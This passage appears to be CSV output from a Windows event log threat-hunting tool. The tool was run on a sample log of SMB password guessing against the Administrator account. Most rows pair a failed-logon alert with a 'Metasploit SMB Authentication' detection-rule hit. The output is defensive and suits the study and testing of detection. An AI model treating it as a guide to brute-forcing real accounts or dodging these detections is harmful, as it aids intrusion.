Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.085 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: upOn9DzB1yWtntyX : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.085 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.116 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: m9uGgocAVReiJWDm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.116 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.153 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qm9Jf1fles2HOb3g : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.153 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.193 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Ev5eTWdf3CskOMuh : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.193 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.223 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: QoiMO6sSLOm4fOD5 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.223 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.256 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: xDjvMsa2IgR9KO7l : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.256 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.293 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SR7gVjxHZDYeK7pJ : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.293 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.323 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4jzGAepr7JeNKuuk : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.323 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.368 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: H9baxEeRCWjx6Fzr : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.368 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.405 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Uy7aTt0B4ErguacA : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.405 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.431 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: nvKcLrUXqu2vTKO3 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.431 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.486 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: PLycXLeAU21pdnXL : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.486 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.527 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: SgwjJSKOPnurDWW4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.527 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.564 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: YPDYdxPoQAl8aGMs : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.564 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.594 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: CX8knunlT6SMpmQw : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.594 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.632 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: AAjYbt50leZt3Xve : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.632 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.677 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 3CD0HUCdg4UWOiji : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.677 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.709 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: dkeWmTE1R1rYaYP8 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.709 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.744 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: W87qcfSj4qWWUv4k : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.744 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.830 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: WUCyUQgbUqwaLj3J : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.830 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.877 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Q9nLhDbcvmVBZp4f : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.877 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.925 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: BBWo1zDdjaAeGDWW : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.925 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.960 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: vjHRFk2flmzzd1zg : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:22.960 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.000 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 53HYxs9s7fpP1y6V : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.000 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.035 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: tluqXKvVooP7VNyB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.035 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.076 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 43m0nfi5tiv4TpSB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.076 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.107 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: qjPyJXl984vViV6L : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.107 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.143 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: MomQ8Yt51VsMiO4p : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.143 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.175 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: LJYCi5r2otMHxA8f : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.175 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.211 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 4oUSkMBI8SGDLwYC : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.211 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.251 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: j1x3lyRjxn73KITB : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.251 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.283 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gh05BhGpwq1ho62a : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.283 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.324 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: bxj6ITbiciyRNLbF : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.324 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.370 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: Uev2mjCaqHjm6NYi : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.370 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.415 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: L4WU383o9E5JyM5V : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.415 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.450 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: lfMv0lsoiRnTCFXe : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.450 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.504 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XL4ahBqUyGeTONkE : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.504 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.549 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 8hJ888Kmyi6KqIPn : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.549 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.596 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: VZ6sfYMHuygnMdY2 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.596 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.636 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: XkuSlyTNc5OOoUtd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.636 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.676 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 5Z13YmupcMato8Sd : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.676 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.733 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: JedeMnLPnRJEwhZ9 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.733 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.810 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: mmy0c0wFheIRzSo4 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.810 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.920 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: sskKdqku5S0f1sWm : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.920 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.962 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: 15Qg0nCXNj7Ub1Sj : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:23.962 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.004 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: ZD6iuaqv70k69G87 : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.004 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB Authentication,,rules/sigma/builtin/security/win_metasploit_authentication.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.051 +09:00,DESKTOP-M5SN04R,4625,low,Logon Failure - Wrong Password,User: Administrator : Type: 3 : Workstation: gk3UuqTJmvH1snmN : IP Address: 192.168.198.149 : AuthPackage: NTLM,rules/hayabusa/default/alerts/Security/4625_LateralMovement_LogonFailure-WrongPassword.yml,../hayabusa-sample-evtx/DeepBlueCLI/smb-password-guessing-security.evtx +2016-09-20 01:50:24.051 +09:00,DESKTOP-M5SN04R,4625,high,Metasploit SMB 